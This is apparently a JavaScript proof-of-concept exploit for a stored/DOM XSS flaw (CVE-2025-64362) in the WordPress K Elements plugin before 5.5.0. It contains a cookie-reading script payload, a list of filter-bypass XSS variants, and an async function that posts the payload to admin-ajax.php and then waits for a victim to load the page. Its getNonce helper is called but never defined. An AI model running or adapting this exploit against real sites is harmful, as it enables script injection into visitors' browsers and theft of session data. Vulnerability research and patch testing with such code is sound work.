// CVE-2025-64362 PoC - DOM-Based XSS in WordPress K Elements Plugin
// Target: WordPress site with K Elements plugin < 5.5.0

// Step 1: Identify vulnerable input field in K Elements
// Common vulnerable elements: text blocks, buttons, custom HTML modules

// Step 2: Inject XSS payload via plugin's input field
const xssPayload = '<script>alert(document.cookie)</script>';

// Step 3: Alternative payloads for filter bypass
const altPayloads = [
    '<img src=x onerror=alert(document.domain)>',
    '<svg/onload=alert(document.cookie)>',
    'javascript:alert(document.cookie)',
    '<iframe src="javascript:alert(document.cookie)">',
    '<body onload=alert(document.cookie)>'
];

// Step 4: Automated exploitation example
async function exploitKElements(targetUrl) {
    const exploitUrl = targetUrl + '/wp-admin/admin-ajax.php';
    
    const formData = new FormData();
    formData.append('action', 'k_elements_save_module');
    formData.append('module_id', 'text_block_1');
    formData.append('content', xssPayload);
    formData.append('nonce', await getNonce(targetUrl));
    
    const response = await fetch(exploitUrl, {
        method: 'POST',
        body: formData,
        credentials: 'include'
    });
    
    return response.json();
}

// Step 5: Trigger XSS when victim visits affected page
// The malicious script executes in victim's browser context
console.log('[+] XSS Payload injected successfully');
console.log('[+] Waiting for victim to visit affected page...');
